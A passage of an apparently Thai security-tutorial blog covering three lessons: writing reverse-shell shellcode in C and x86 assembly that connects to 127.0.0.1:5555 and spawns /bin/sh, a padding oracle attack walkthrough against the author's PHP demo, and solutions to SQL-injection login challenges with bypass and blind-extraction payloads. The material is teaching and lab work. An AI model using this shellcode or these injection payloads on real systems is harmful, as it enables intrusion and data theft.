    struct sockaddr_in sk_addr;

    sk = socket(PF_INET, SOCK_STREAM, 0);
    if (sk == -1)
        return 1;

    memset(&sk_addr, 0, sizeof(sk_addr));
    sk_addr.sin_family = AF_INET;
    sk_addr.sin_port = 0xb315;  // htons(5555)
    sk_addr.sin_addr.s_addr = 0x0100007f; // inet_addr("127.0.0.1")

    if (connect(sk, (struct sockaddr *)&sk_addr, sizeof(struct sockaddr)) == -1)
        return 1;

    dup2(sk, 0);
    dup2(sk, 1);
    dup2(sk, 2);

    execve("/bin/sh", 0, 0);
}

สำหรับคนที่ไม่เคยเขียนพวก socket (น่าจะงง) ผมขออธิบายสั้นๆ ละกัน ในบรรทัดที่ 15 ใช้สำหรับสร้าง socket ขึ้น สำหรับ Linux socket ที่ได้จะเป็น file descriptor อันหนึ่ง เหมือนพวก stdin, stdout แต่สามารถนำไปใช้ใน function ที่เกี่ยวกับ network ได้ ต่อมาบรรทัดที่ 19-22 คือเตรียม parameter สำหรับ connect() function ว่าจะต่อไปที่ IP ไหน port อะไร ให้สังเกตว่า network byte order ของค่าที่เป็นตัวเลขจะเป็น big endian เช่น port 5555 จะมีค่าเป็น 0x15b3 แต่เก็บใน memory ของ x86 เป็น 0xb315 ดังนั้นเราต้องใส่ 0xb315 เพื่อให้เก็บใน memory เป็น 0x15b3 หลังจากนั้นบรรทัดที่ 24 คือเชื่อมต่อไปที่ 127.0.0.1:5555 และเมื่อต่อได้แล้ว บรรทัดที่ 27-29 คือเปลี่ยน stdin, stdout, stderr ใช้เป็น file descriptor ของ socket และสุดท้ายบรรทัดที่ 31 ทำการเปลี่ยน process ด้วย execve เป็น /bin/sh ซึ่ง file descriptor ยังคงเดิม ทำให้เวลา shell รับคำสั่ง จะรับจากที่เราส่งข้อมูลไป และเวลาแสดงผลก็จะเป็นส่งข้อมูลมาหาเรา

หลังจาก compile ถ้าต้องการทดสอบ ต้องเปิดอีก terminal หนึ่ง แล้วพิมพ์คำสั่ง "nc -nvvl 5555" หลังจากนั้นค่อยรันโปรแกรมที่ compile แล้ว เมื่อเชื่อมต่อแล้ว เราสามารถพิมพ์คำสั่งจาก terminal ที่รัน nc ไว้ แต่จะไม่เห็น shell prompt

เมื่อทดสอบเห็นว่าโปรแกรมทำงานได้แล้ว ก็มาดูกันว่าโปรแกรมนี้ใช้ system call อะไรบ้างที่จำเป็นต่อการเชื่อมต่อ


$ strace -v ./ex_07_7
...
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
connect(3, {sa_family=AF_INET, sin_port=htons(5555), sin_addr=inet_addr("127.0.0.1")}, 16) = 0
dup2(3, 0)                              = 0
dup2(3, 1)                              = 1
dup2(3, 2)                              = 2
execve("/bin/sh", [0], [0])             = 0
...

ถ้าเรามาลองไล่ดู system call number จะเจอเพียงแค่ dup2 กับ execve แต่จะหา socket กับ connect ไม่เจอ ซึ่งวิธีที่ทำรู้วิธีเรียก (ถ้าจะทำเอง) คือ อ่าน Linux code หรือไล่ assembly ดูว่า libc เรียกได้อย่างไร แต่เพื่อจะได้ไม่ยาวเกินผมเขียนวิธีเรียก system call ที่เกี่ยวกับ socket เลยละกัน

วิธีการใช้ system call สำหรับ socket นั้นจะใช้ __NR_socketcall หมายเลข 102 (0x66) โดยใส่ไว้ที่ eax และจะมี argument แค่ 2 ตัวเท่านั้น โดย ebx ระบุว่าจะใช้ socket command ไหน ซึ่งสามารถดูได้จากไฟล์ /usr/include/linux/net.h (ผมเอาเฉพาะที่ใช้มาแสดงไว้ข้างล่าง)


// from /usr/include/linux/net.h
#define SYS_SOCKET      1               /* sys_socket(2)                */
#define SYS_BIND        2               /* sys_bind(2)                  */
#define SYS_CONNECT     3               /* sys_connect(2)               */

ส่วน ecx คือ array ของ argument โดย argument ที่ใช้นั้น จะเป็นไปตาม argument ของ libc เลย ถ้าเราลอง debug โปรแกรมดูใน socket() function จะพบว่า


$ gdb -q ./ex_07_7
Reading symbols from /home/worawit/tutz/ch07/ex_07_7...(no debugging symbols found)...done.
(gdb) b socket
Breakpoint 1 at 0x8050750
(gdb) r
Starting program: /home/worawit/tutz/ch07/ex_07_7

Breakpoint 1, 0x08050750 in socket ()
(gdb) disass
Dump of assembler code for function socket:
=> 0x08050750 <+0>:     mov    %ebx,%edx  # edx ไม่เกี่ยว แค่เก็บค่า ebx ไว้ใน edx ก่อน
   0x08050752 <+2>:     mov    $0x66,%eax # ใช้ socketcall
   0x08050757 <+7>:     mov    $0x1,%ebx  # กำหนด ebx เป็น 1 คือ SYS_SOCKET
   0x0805075c <+12>:    lea    0x4(%esp),%ecx  # โหลด address ของ arguments ไว้ที่ ecx
   0x08050760 <+16>:    int    $0x80
   0x08050762 <+18>:    mov    %edx,%ebx  # restore ค่า ebx
   0x08050764 <+20>:    cmp    $0xffffff83,%eax
   0x08050767 <+23>:    jae    0x8051aa0 <__syscall_error>
   0x0805076d <+29>:    ret
End of assembler dump.
(gdb) x/4x $esp+4   # ลองดูค่า arguments ต่างๆ
0xbffff6e0:     0x00000002      0x00000001      0x00000000      0x08048a42

และถ้าเราหาค่าที่ถูก define ไว้ใน header files ด้วยคำสั่ง grep


# working directory คือ /usr/include
$ grep -wR PF_INET *
bits/socket.h:#define   PF_INET         2       /* IP protocol family.  */
bits/socket.h:#define   AF_INET         PF_INET
$ grep -wR SOCK_STREAM *
bits/socket.h:  SOCK_STREAM = 1,                /* Sequenced, reliable, connection-based
...
$ grep -wR IPPROTO_IP *
linux/in.h:  IPPROTO_IP = 0,            /* Dummy protocol for TCP              */
...

จะเห็นว่าค่าที่หาได้ ตรงกับ argument ที่เราดูด้วย gdb คือ PF_INET เป็น 2, SOCK_STREAM เป็น 1 และ IPPROTO_IP เป็น 0

และข้อมูลที่สำคัญสำหรับ connect คือโครงสร้างข้อมูลของ struct sockaddr กับ struct sockaddr_in สำหรับ IPv4 โดยผมเอามาจาก http://www.retran.com/beej/sockaddr_inman.html


struct sockaddr {
    unsigned short    sa_family;    // address family, AF_xxx
    char              sa_data[14];  // 14 bytes of protocol address
};

struct sockaddr_in {
    short            sin_family;   // e.g. AF_INET, AF_INET6
    unsigned short   sin_port;     // e.g. htons(3490)
    struct in_addr   sin_addr;     // see struct in_addr, below
    char             sin_zero[8];  // zero this if you want to
};

เมื่อเรารู้วิธีการเรียก กับค่าต่างๆ ที่ต้องใส่ทั้งหมด ก็ถึงเวลาเขียน assembly กันแล้ว แต่คราวนี้ผมจะแสดงแบบที่สั้นที่สุดที่ผมคิดได้เลย และพวก \x00 ตรง IP กับ port ผมจะไม่สนใจนะครับ ซึ่งจะได้ assembly ดังนี้ (ex_07_8.s) (อาจจะเร็วไปนิด ค่อยๆ ไล่ และคิดตามนะครับ)


.data
.text

.globl _start

_start:

##################################
# socket(PF_INET /* 2 */, SOCK_STREAM /* 1 */, IPPROTO_IP /* 0 */)
xorl %ebx,%ebx # set ebx เป็น 0, ใช้ ebx เพราะเราต้องการให้มีค่าเป็น 1 และ argument ที่เราต้องใส่คือ 0,1,2 ตามลำดับ ทำให้เราสามารถใช้ ebx สำหรับ argument ขณะเพิ่มค่า ebx
leal 0x66(%ebx),%eax # set syscall number โดยใช้ lea จาก ebx
push %ebx # เอาค่า 0 ลงใน stack สำหรับ socket argument ตัวสุดท้าย
inc  %ebx # เพิ่มค่า ebx ไป 1 จะได้ค่า ebx เป็นที่เราต้องการ
push %ebx # เอาค่า 0 ลงใน stack สำหรับ socket argument ตัวที่สอง
push $0x2 # ใช้ push imm แทนเพราะ ebx เป็นค่าที่ถูกต้องแล้ว
movl %esp,%ecx # set ecx เป็น array of arguments
int  $0x80

xchg %eax,%ebx  # เก็บค่า socket fd ไว้ที่ ebx สำหรับ dup2 syscalls, ใช้ xchg แทน mov เพื่อประหยัดจำนวน byte
# ตอนนี้ eax มีค่าเป็น 1 ส่วน ebx เก็บ socket fd ไว้

###################################
# dup2() to replace stdin, stdout, stderr
# เอา dup2 มาทำตรงนี้ เพราะถ้าทำ connect ค่า socket fd ต้องไปเก็บที่ register ตัวอื่นก่อน
# ถ้าทำตรงนี้ ค่า ebx ไม่จำเป็นต้อง set เพราะจากคำสั่ง xchg ข้างบน
pop  %ecx  # ตอนนี้ top of stack คือ 2, เอามาใช้สำหรับ stderr
dup_loop:  # loop จาก 2..0 เพื่อประหยัดคำสั่ง
movb $0x3f, %al # กำหนด dup2 system call number
int  $0x80
dec  %ecx  # ลบค่า ecx เพื่อทำ stdout กับ stdin
jns  dup_loop # หยุดทำเมื่อ ecx เป็นลบ
# dup2 syscall จะ return หมายเลข fd ที่ถูก copy ไว้ใน eax
# ดังนั้น ถึงจุดนี้จะได้ค่า
# - eax เป็น 0
# - ebx เป็น socket fd
# - ecx เป็น -1 (0xffffffff)

####################################
# connect(sk, sockaddr, len)

# จากการทดสอบ connect syscall จะสนใจเฉพาะค่า sin_family, sin_port, sin_addr ใน struct sockaddr_in เท่านั้น
# ส่วนค่าใน sin_zero จะเป็นอะไรก็ได้
# และ len argument จะเป็นตัวเลขอะไรก็ได้ที่ >= 16
movb $0x66,%al # set system call number
# เตรียม sockaddr struct
# เพราะ sin_zero เป็นอะไรก็ได้ ทำให้สามารถใช้ค่าที่อยู่ใน stack อยู่แล้วได้
push $0x0100007f # push ค่า ip address (127.0.0.1) สำหรับ sin_addr
push $0xb3150002 # push ค่า port (5555) สำหรับ sin_port และค่า AF_INET (2) สำหรับ sin_family
# สำหรับคนที่ต้องการให้ไม่มี \x00 จากคำสั่ง push ข้างบน วิธีหนึ่ง (แต่ทำได้ไม่ทุกกรณี) คือใช้ xor กับ ecx (ข้างล่าง ถ้าต้องการลองก็เอา comment ออก)
#push %ecx
#xorl $0xfeffff80,(%esp)
#xorl $0x4ceafffd,%ecx
#push %ecx
movl %esp, %ecx # กำหนดค่า ecx เป็น address ของ sockaddr (top of stack)
# เตรียม array of arguments (ecx)
push %eax # ใช้ eax (0x66) สำหรับ len เนื่องจากมากกว่า 16
push %ecx # address ของ sockaddr
push %ebx # socket fd (จริงแล้วจะใช้ค่า 0,1,2 ก็ได้เพราะเราได้สั่ง dup2() ไปแล้ว)
movl %esp,%ecx
#movb $0x03,%ebx # ถ้าเราใช้ movb อาจจะไม่ได้ทุกกรณี เพราะ fd ที่ได้จาก socket() อาจมีค่ามากกว่า 255
push $0x03
pop  %ebx  # ใช้ push แล้ว pop จะใช้ 3 bytes แต่ถ้าใช้ xor แล้ว movb จะใช้ 4 bytes
int  $0x80
# ถ้าต่อสำเร็จ eax จะเห็น 0
# Note: ไม่มีการตรวจสอบผลลัพธ์ของการ connect

###################################
# execve("/bin//sh", 0, 0)
cdq    # to make edx 0
push %edx
push $0x68732f2f
push $0x6e69622f
movl %esp, %ebx
xorl %ecx, %ecx
movb $0x0b, %al
int  $0x80

เมื่อ compile แล้วทดสอบจะได้ผลเหมือนกับที่เขียนด้วยภาษา C (ทดสอบเองนะครับ) สำหรับคนที่อยากฝึกเพิ่มเติม ก็แนะนำให้ลองเขียน setreuid() ดู

วิธี Disassemble Shellcode

ก่อนจะจบ ผมมีแถมให้ เพราะในหลายๆ ครั้งที่อาจจะต้องมีการวิเคราะห์การทำงานของ shellcode ที่ได้มา ดังนั้นเรามาดูคำสั่งการ disassemble shellcode ของ x86 โดยผมจะใช้ exit shellcode จากตัวอย่าง ex_07_3.s

วิธีแรก คือใช้คำสั่ง x86dis โดยคำสั่งนี้สามารถเลือก syntax ได้ ถ้าใครต้องการแบบ intel ก็เปลี่ยนจาก att เป็น intel


$ perl -e 'print "\x31\xc0\x31\xdb\xb0\x01\xcd\x80"' | x86dis -e 0 -s att
00000000 31 C0                          xor     %eax, %eax
00000002 31 DB                          xor     %ebx, %ebx
00000004 B0 01                          mov     $0x01, %al
00000006 CD 80                          int     $0x80

วิธีที่สอง ใช้คำสั่ง objdump เนื่องด้วย objdump รับ input จาก stdin ไม่ได้ ดังนั้นจะต้องมีการเขียนลงไฟล์ก่อน


$ perl -e 'print "\x31\xc0\x31\xdb\xb0\x01\xcd\x80"' > sc.bin.tmp && objdump -b binary -m i386 -D ./sc.bin.tmp && rm -f sc.bin.tmp
./sc.bin.tmp:     file format binary

Disassembly of section .data:

00000000 <.data>:
   0:   31 c0                   xor    %eax,%eax
   2:   31 db                   xor    %ebx,%ebx
   4:   b0 01                   mov    $0x1,%al
   6:   cd 80                   int    $0x80

วิธีที่สาม (สุดท้ายของผม) คือใช้คำสั่ง ndisasm


$ perl -e 'print "\x31\xc0\x31\xdb\xb0\x01\xcd\x80"' > sc.bin.tmp && ndisasm -b 32 ./sc.bin.tmp && rm -f sc.bin.tmp
00000000  31C0              xor eax,eax
00000002  31DB              xor ebx,ebx
00000004  B001              mov al,0x1
00000006  CD80              int 0x80

Reference:
- The Shellcoder's Handbook: Discovering and Exploiting Security Holes

Padding Oracle Attacks

2011-01-24T22:23:00.001+07:00

วันนี้ผมขอเขียนเรื่อง Padding Oracle Attacks ก่อน (จริงๆ แล้วตั้งใจจะเขียนตั้งแต่เพิ่งเปิด blog) เรื่องนี้ไม่ได้เป็นเรื่องใหม่ แต่ผมเห็นว่าเป็นเรื่องที่น่าสนใจมาก เพราะเป็น cryptography attack ที่ใช้ความรู้เกี่ยวกับ cryptography ไม่เยอะ แต่มีผลกระทบกับ application framework หลายตัว เช่น JavaServer Faces (JSF), Ruby on rails, ASP.NET o.O

เทคนิคนี้ จริงๆแล้วได้มีการพูดถึงในงาน Eurocrypt 2002 โดย Serge Vaudenay โดยพูดถึงช่องโหว่เกี่ยวกับ CBC padding ของ encryption protocol ต่างๆ เช่น SSL, IPSEC, WTLS, SSH2 และเมื่อปี 2010 ที่ผ่านมา security researcher 2 คน คือ Joliano Rizzo กับ Thai Duong ได้นำเทคนิคนี้มาใช้อีกรอบ แต่เป็นการโจมตี web application โดยพูดในงาน Blackhat Europe 2010

เรามาเริ่มเนื้อหากันเลยดีกว่า เทคนิคนี้เป็นการโจมตีเมื่อใช้ encryption algorithm ที่ทำงานเป็น block ใน CBC mode ถ้าใครไม่รู้จัก CBC mode แนะนำให้หาอ่านก่อนนะครับ หรือไม่ก็ดูในบทความแรกที่ผมเขียน (CBC Bit Flipping) เผื่อจะทำให้เข้าใจ

เนื่องด้วย encryption algorithm เช่น DES, AES นั้นทำงานเป็น block ดังนั้นถ้าข้อมูลไม่ครบ block ก็จำเป็นต้อง pad ข้อมูลเข้าไปเพื่อที่จะเต็ม block แล้วทำการ encryption ได้ โดย padding scheme ที่นิยมใช้กัน จะเป็นแบบเดียวกับที่กล่าวใน PKCS#5, PKCS#7 หรือ RFC2630 (CMS) วิธีการ padding ก็คือเติมตัวเลขเท่าจำนวนที่ต้อง pad โดยต้อง pad อย่างน้อย 1 byte ตามตัวอย่างในรูป โดยสมมติว่าขนาดของ block คือ 8 bytes

เพื่อที่จะให้เข้าใจง่ายขึ้น ผมจึงได้เขียน php code ที่ใช้ run บน web server สำหรับสาธิตการทำงานของ attack นี้โดยจะมี code อยู่ 3 ไฟล์ (po_gen.php, po_check.php, po_inc.php) ไฟล์แรก po_gen.php ใช้สำหรับ encrypt ข้อมูลโดยใช้แทนการ login ที่เราใส่ username แล้วมีการส่ง token สำหรับการ request อื่นๆ และไฟล์ที่สอง po_check.php ซึ่งรับ token แล้วบอกว่าข้อความในนั้นคืออะไร ใช้แทนการตรวจสอบ token และไฟล์สุดท้าย po_inc.php เป็นไฟล์ที่ใช้ config ค่าต่างๆ สำหรับ encryption โดยผมได้กำหนดค่า IV เป็น fixed value เพื่อให้ค่าที่ผมแสดงตรงกับของทุกๆคน ซึ่งจริงๆแล้วควรเป็น random value (แก้ให้ random โดยเปลี่ยนค่า RANDOM_IV เป็น TRUE) และผมจะใช้ 3-DES ในการทำ encryption เพราะมี block size เป็น 8 bytes เขียนอธิบายได้ง่ายกว่า AES ที่มี block size เป็น 16 bytes (ถ้าใครอยากลองเป็น AES ก็แก้ค่า USE_3DES เป็น FALSE นะครับ)

สมมติว่าผมจะส่ง "user5" ไปที่ po_gen.php แล้วจะได้ encrypted data


$ curl "http://127.0.0.1/thtutz/po_gen.php?user=user5"
5f4649584544495621a7b2b00f85b47d

และถ้าผมส่ง encrypted data นี้ไปที่ po_check.php จะได้


$ curl "http://127.0.0.1/thtutz/po_check.php?user=5f4649584544495621a7b2b00f85b47d"
Data OK : user5

โดยมีค่าต่างๆในการทำ decryption ตามรูป

แต่ถ้าเราเปลี่ยน encrypted data โดยสมมติว่าเปลี่ยนค่าหลังสุดของ IV เป็น 00 จะได้


$ curl "http://127.0.0.1/thtutz/po_check.php?user=5f4649584544490021a7b2b00f85b47d"
Error: Invalid padding

โดยมีค่าต่างๆในการทำ decryption ตามรูป

จากรูปจะเห็นว่า byte สุดท้ายเป็น 0x55 ซึ่งทำให้เจอ error ขณะทำการตรวจสอบ padding

concept ของ padding oracle attack นี้คือส่ง encrypted data ไปที่ server เพื่อให้ server บอกว่า padding ของ encrypted data นี้ถูกต้องหรือไม่ โดยใช้ error message หรือ response ต่างๆ ที่สามารถแยกได้ว่า encrypted data นี้เมื่อ server decrypt แล้ว padding ถูกหรือไม่

จากรูปการ decryption จะเห็นว่าเรารู้ค่าของ Encrypted data และ IV เท่านั้น ส่วน Intermediary Value นั้น ปกติต้องมี Encryption Key เท่านั้นจึงจะหา Intermediary Value ออกมาได้ และส่วนที่สำคัญที่สุดของเทคนิคนี้ คือสามารถหา Intermediary Value ได้โดยไม่ต้องรู้ว่า Encryption Key คืออะไร

Padding Oracle Attack เพื่อ decrypt ข้อมูล

โดยปกติ เวลาเราได้ encrypted data มาจาก server เราไม่รู้ว่าข้างในนั้นเก็บข้อมูลในรูปแบบไหน ในส่วนนี้ผมจะอธิบายวิธีการ decrypt ข้อมูลโดยสมมติว่าเราไม่รู้ข้อมูลที่เป็น plaintext และมีการส่ง request ไปที่ po_check.php เท่านั้น

วิธีก็คือ (อยากให้คิดตาม เพราะถ้าเข้าใจ จะคิดเองได้เลย)
1. เปลี่ยนค่า IV เป็น 0x00 ให้หมด (จริงๆ คือเปลี่ยนเป็นอะไรก็ได้)
2. เริ่มจาก byte หลังสุดของ block และให้จำนวนที่ต้อง pad คือ 1 byte ดังนั้น plaintext ของ byte สุดท้ายต้องเป็น 0x01
3. เปลี่ยนค่า IV ไปเรื่อยๆ จนกว่า server ไม่บอกว่า "Error: Invalid padding"
4. เมื่อได้ค่า IV และ plaintext ของ byte ที่ทำงานอยู่ ทำให้สามารถหา Intermediary Value ของ byte นั้นได้โดยการทำ xor
5. หา plaintext ของ byte ที่ทำงานอยู่ จะได้ plaintext จากการนำ Intermediary Value มา xor กับค่า IV เดิม
6. เปลี่ยนเป็น byte ถัดไปจากข้างหลัง และเปลี่ยนจำนวนที่ต้อง pad เป็นค่าถัดไป จนกว่าจะครบ block
7. เปลี่ยน IV ของ byte หลังที่จะหา เป็น pad value ที่ถูกต้อง โดยนำ pad value ที่ต้องให้เป็นไป xor กับ Intermediary Value ที่หาได้ และไปทำที่ข้อ 3

อ่านวิธีอาจจะงง มาดูตัวอย่างกันดีกว่า เริ่มต้นที่เปลี่ยนค่า IV เป็น 0 ซึ่งจะได้ค่าต่างๆ ในการทำ decryption ตามรูป

จากนั้นเราก็ส่ง request ไปที่ po_check.php โดยเปลี่ยนค่า IV ไปเรื่อยๆ ดังนี้


$ curl "http://127.0.0.1/thtutz/po_check.php?user=000000000000000021a7b2b00f85b47d"
Error: Invalid padding
$ curl "http://127.0.0.1/thtutz/po_check.php?user=000000000000000121a7b2b00f85b47d"
Error: Invalid padding
$ curl "http://127.0.0.1/thtutz/po_check.php?user=000000000000000221a7b2b00f85b47d"
Error: Invalid padding
...
$ curl "http://127.0.0.1/thtutz/po_check.php?user=000000000000005421a7b2b00f85b47d"
Data OK : *5,*pGJ

ได้ค่า IV ของ byte สุดท้ายที่ทำให้ plaintext ออกมาเป็น 0x01 คือ 0x54 ทำให้ได้ Intermediary Value เป็น 0x01 ^ 0x54 = 0x55 ตามรูปข้างล่าง ซึ่ง plaintext ของ byte นี้ก็คือ 0x55 ^ 0x56 = 0x03

หลังจากนั้น ก็ทำ byte ถัดไป โดย padding value ต้องเป็น 0x02 จำนวน 2 bytes โดย IV ที่จะทำให้ค่า byte สุดท้ายของ block เป็น 0x02 คือ 0x02 ^ 0x55 = 0x57 และทำการส่ง request โดยเปลี่ยนค่า IV ตามนี้


$ curl "http://127.0.0.1/thtutz/po_check.php?user=000000000000005721a7b2b00f85b47d"
Error: Invalid padding
$ curl "http://127.0.0.1/thtutz/po_check.php?user=000000000000015721a7b2b00f85b47d"
Error: Invalid padding
...
$ curl "http://127.0.0.1/thtutz/po_check.php?user=000000000000485721a7b2b00f85b47d"
Data OK : *5,*pG

ได้ค่า IV ที่ทำให้ plaintext ออกมาเป็น 0x02 คือ 0x48 ทำให้ได้ Intermediary Value เป็น 0x02 ^ 0x48 = 0x4a ตามรูปข้างล่าง ซึ่ง plaintext ของ byte นี้ก็คือ 0x4a ^ 0x49 = 0x03

และทำแบบนี้ไปเรื่อยๆ จนครบทั้ง block จะได้ plaintext ออกมา ซึ่งผมได้เขียน code เป็น python (po_decrypt.php) สำหรับการ decrypt นี้ ซึ่งเมื่อ run จะได้ตามนี้ (ซึ่งอาจต้อง ip กับ url ใน code ก่อน run นะครับ)


$ python po_decrypt.py 8 5f4649584544495621a7b2b00f85b47d
text[7]:  
text[6]:  
text[5]:  
text[4]: 5
text[3]: r
text[2]: e
text[1]: s
text[0]: u
finished
Data: user5

ที่ผมกล่าวไปนั้นเป็นการ decrypt ข้อมูลเพียงแค่ block เดียว สำหรับการ decrypt ข้อมูลหลายๆ block เรามาดูค่าต่างๆ ของการ decrypt ข้อมูลจำนวน 2 block กันก่อนดีกว่า

จากรูปจะเห็นว่า IV ของ block ถัดไปก็คือ encrypted data ของ block ก่อนหน้า ดังนั้นวิธีการ decrypt ในแต่ละ block จะเหมือนกัน เพียงแค่เปลี่ยนค่า IV กับ encrypted data ของ block นั้นๆ และถ้าข้อมูลมีจำนวน block เยอะๆ เราก็สามารถที่จะทำ หลายๆ block พร้อมกันได้

Padding Oracle Attack เพื่อ encrypt ข้อมูล

จากหัวข้อการ decryption จะเห็นว่าเราสามารถเทคนิคนี้หา Intermediary Value จาก encrypted data ใดๆ ได้ ดังนั้นวิธีการ encrypt ข้อมูลจำนวน 1 block ก็คือสุ่ม encrypted data แล้วหา Intermediary Value (โดยปกติเราจะต้องทำขั้นตอนของการ decryption ก่อน ดังนั้นเราสามารถหยิบ encrypted data กับ Intermediary Value จาก block ไหนก็ได้มา) หลังจากนั้นนำมา xor กับ plaintext เพื่อหาค่า IV (แค่นี้แหละครับครับ ง่ายมั้ย xD)

สำหรับกรณีที่มีหลายๆ block เราจะต้องทำการหาจาก block สุดท้ายก่อน แล้วนำ IV ที่ได้มาเป็น encrypted data ใน block ก่อนหน้า มาดูตัวอย่างกันดีกว่า สมมติว่าผมต้องการ encrypt คำว่า administrator โดยกำหนดให้ encrypted data ใน block สุดท้ายเป็น 0x01 0x02 ... 0x08 เริ่มต้นเราจะตั้งตารางเป็นดังนี้

จะเห็นว่า เราจะต้องจัดเรียงข้อมูลของเราให้ตรง block พร้อมทั้งมี padding ด้วย และทำการหา Intermediary Value กับ IV ของ Block ที่ 2 ซึ่งได้ผมตามรูป

เมื่อได้ค่า IV ใน block ที่ 2 ก็นำมาเป็น encrypted data ใน block ที่ 1 โดยผมได้เขียนโปรแกรมไว้แล้ว (po_encrypt.py) ซึ่งเมื่อ run จะได้ตามนี้


$ python po_encrypt.py 8 administrator
...
Encrypted Data (Hex): b97b9b9ef86104b62f97906ade4f973a010203040506060708

จบแล้วนะครับ สำหรับ concept หลักของ Padding Oracle Attacks ทีเหลือคือการประยุกต์ใช้กับ application จริง ซึ่งไม่ง่ายเหมือนในตัวอย่างผมหรอกนะครับ แต่ถ้าเข้าใจตรงนี้แล้ว ผมว่าไม่ยากมากที่จะทำความเข้าใจกับ tool สำหรับเทคนิคนี้

Reference:
- http://netifera.com/research/poet/PaddingOracleBHEU10.pdf
- http://www.gdssecurity.com/l/b/2010/09/14/automated-padding-oracle-attacks-with-padbuster/

PHP Login กับ SQL Injection (เฉลย)

2011-01-18T23:52:00.003+07:00

จากโจทย์ที่ผมตั้งไว้ ถึงเวลาเฉลยแล้ว ถ้าใครเพิ่งมาอ่าน หรือยังไม่ได้ทำ ผมอยากให้ลองทำก่อนดูเฉลยนะครับ

ก่อนจะเฉลย ผมขอพูดถึงการทำ sql injection นิดนึง การทำ sql injection นั้นก็คือการเหมือนกับว่า programmer ได้เขียนคำสั่ง SQL เริ่มต้นให้ (และอาจจะมีต่อท้ายให้ด้วย) สิ่งที่เราต้องทำคือเติมคำสั่ง SQL ให้มันถูกต้อง แต่เปลี่ยนความหมายของคำสั่ง เพื่อดึงเอาข้อมูลส่วนที่เราต้องการออกมา ดังนั้นสิ่งสำคัญในการทำ sql injection คือการเรียนรู้คำสั่ง SQL และ DBMS ต่างๆ เวลาอ่านเฉลยข้อไหนแล้วงงๆ ก็ให้ลองเปิดตัว MySQL client แล้วลองพิมพ์คำสั่ง SQL ที่จะถูกประมวลผลดู

ข้อ 1 อันนี้ถ้าใครลองทำตามตำราแบบง่ายสุดคือใส่ ' or '1'='1 ที่ username คงจะเจอกับ error ว่า "The number of rows is not 1" เนื่องจากผมมีการ check ว่าจำนวน row ที่ได้นั้นเท่ากับ 1 หรือไม่ ดังนั้นวิธีง่ายสุดของข้อนี้ ก็คือใช้ LIMIT ตามนี้ (ผมขอใช้ curl เพื่อประหยัดพื้นที่)


D:\thtutz\challenge>curl "http://127.0.0.1/thtutz/login_sqli1.php?password=whatever&username='+or+1=1+LIMIT+1%23"
Congrats, WIN!!!

ข้อ 2 ข้อนี้จะเห็นว่าใน query มีใช้แค่ username แต่ผม และมีการเอา password มาเปรียบเทียบต่างหาก ซึ่งต่างจากข้อ1 ที่เวลาทำ sql injection ในข้อ1 นั้น สามารถทำให้การ check password นั้นเหมือนไม่มีได้

ปัญหาของข้อนี้ คือเราไม่รู้ว่า password ของ record ที่ query ออกมาจาก database นั้น password อะไร วิธีแก้ก็คือใช้ UNION SELECT เพื่อให้ได้ record ปลอมที่เราสร้างมาเอง เช่นใช้ "UNION SELECT 1,2,3" (ไม่มี quote) จะทำให้การ query ได้ record ที่มี id มีค่าเป็น 1, username มีค่าเป็น 2 และ password มีค่าเป็น 3

แต่เนื่องด้วยใน database นั้นการเก็บ md5 hash ของ password ดังนั้นสิ่งที่เราทำคือต้องการ md5 ของ password ที่เราจะปลอมด้วย ดังนั้นข้อนี้สามารถทำได้ตามนี้


D:\thtutz\challenge>php -r "echo md5('');"
d41d8cd98f00b204e9800998ecf8427e
D:\thtutz\challenge>curl "http://127.0.0.1/thtutz/login_sqli2.php?password=&username='+UNION+SELECT+1,2,'d41d8cd98f00b204e9800998ecf8427e'%23"
Congrats, WIN!!!

ข้อ 3 ข้อนี้สิ่งที่ผมต้องการให้ทำคือ blind sql injection เพื่อดึงข้อมูลออกมาจาก database ไม่ใช่ bypass login ถ้าใครสังเกต จะเห็นว่าผมใบ้ไว้แล้วว่า ไม่สามารถทำ sql injection ให้ php ไปทำงานที่บรรทัดที่ต้องการได้ พูดง่ายๆ ก็คือไม่สามารถทำ sql injection เพื่อ bypass หน้า login ที่เขียน code แบบนี้ได้ (ถ้าใครทำได้ช่วยบอกผมด้วย ผมทำไม่ได้)

ก่อนอื่นเราก็ต้องมานั่งคิดก่อน เราต้องการดึงอะไรออกมา สำหรับโจทย์ผมนั้นมันชัดเจนว่าต้องดึง username กับ password ออกมา เนื่องด้วย error ที่ออกมาจะมีค่าต่างกัน เราจึงสามารถใช้ประโยชน์จาก error นี้ได้ โดยวิธีการดึง id สามารถทำได้ตามนี้


D:\thtutz\challenge>curl "http://127.0.0.1/thtutz/login_sqli3.php?password=&username='+or+id=1%23"
Invalid username or password

D:\thtutz\challenge>curl "http://127.0.0.1/thtutz/login_sqli3.php?password=&username='+or+id=2%23"
Invalid username or password

D:\thtutz\challenge>curl "http://127.0.0.1/thtutz/login_sqli3.php?password=&username='+or+id=3%23"
The number of rows is not 1

วิธีที่ผมใช้คือ พยายามทำ sql injection ให้ query ออกมาทีละ 1 row ถ้า id ที่ใส่ไปนั้นมีใน database ซึ่งจะเห็นว่า เมื่อใส่ id เป็น 3 (ไ่ม่มีใน database) error ที่ออกมาจะไม่เหมือนเมื่อใส่ id เป็น 1 หรือ 2

สำหรับการดึง username กับ password นั้น ถ้าเราทำแบบ id คือลอง password ทั้ง string นั้นโอกาสที่จะถูกน้อยมาก เพราะ password นั้นยาวมาก วิธีการคือการใช้ function SUBSTR() ของ MySQL ช่วย เพื่อที่จะเปรียบเทียบค่าทีละตัวอักษร อาจจะงง ดูตัวอย่างเลยดีกว่า โดยผมจะทำกับ id เท่ากับ 1


D:\thtutz\challenge>curl "http://127.0.0.1/thtutz/login_sqli3.php?password=&username='+or+SUBSTR(password,1,1)='1'+AND+id=1%23"
The number of rows is not 1

D:\thtutz\challenge>curl "http://127.0.0.1/thtutz/login_sqli3.php?password=&username='+or+SUBSTR(password,1,1)='2'+AND+id=1%23"
The number of rows is not 1

D:\thtutz\challenge>curl "http://127.0.0.1/thtutz/login_sqli3.php?password=&username='+or+SUBSTR(password,1,1)='4'+AND+id=1%23"
Invalid username or password

จากข้างบน จะได้ว่า password hash ของตัวอัีกษรแรกคือ 4 ซึ่งจะเห็นว่าถ้าจะเอา password ออกมาต้อง request เยอะมาก ผมเลยเขียน python สำหรับ request หา password ของ user id 1 ไว้แล้ว (login_blind.py) ซึ่งถ้า run จะได้ผลตามนี้


D:\thtutz\challenge>login_blind.py
1: 4
2: 4
...
